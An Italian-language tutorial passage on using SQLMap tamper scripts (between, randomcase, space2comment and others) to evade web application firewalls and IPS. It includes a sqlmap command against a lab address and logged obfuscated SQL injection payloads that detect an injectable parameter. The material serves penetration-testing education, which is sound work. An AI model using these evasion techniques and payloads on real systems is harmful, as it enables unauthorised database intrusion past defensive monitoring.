Link copiato negli appunti
Tecniche avanzate: Tampering
SQLMap di default non utilizza tecniche di offuscamento del payload inviato, questo comporta l'essere facilmente individuati da tutti quei tools che monitorano le richieste fatte al web server, ci riferiamo ai web application firewall (WAF) o IPS. In alcuni casi è possibile aggirare il problema utilizzando alcune tecniche implementate in SQLMap grazie ad alcuni scripts, per una lista completa da terminale digitare:
user@backbox:~$ ls -1 /usr/share/sqlmap/tamper/*.py /usr/share/sqlmap/tamper/between.py /usr/share/sqlmap/tamper/charencode.py /usr/share/sqlmap/tamper/charunicodeencode.py /usr/share/sqlmap/tamper/ifnull2ifisnull.py /usr/share/sqlmap/tamper/__init__.py /usr/share/sqlmap/tamper/randomcase.py /usr/share/sqlmap/tamper/randomcomments.py /usr/share/sqlmap/tamper/space2comment.py /usr/share/sqlmap/tamper/space2plus.py /usr/share/sqlmap/tamper/space2randomblank.py
Vediamo ora un esempio in cui ipotizziamo l'utilizzo di un DMBS di tipo MySQL ed il carattere >, gli spazi e le stringhe SELECT sono bannati, il comando da lanciare sarà il seguente:
user@backbox:~$ cd /usr/share/sqlmap/ user@backbox:~$ sqlmap -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters [hh:mm:03] [INFO] loading tamper script 'between' [hh:mm:03] [INFO] loading tamper script 'randomcase' [hh:mm:03] [INFO] loading tamper script 'space2comment' [...] [hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092 [hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 [hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 [...] [hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar( 58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/ ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/ group/**/bY/**/x)a) [hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable […]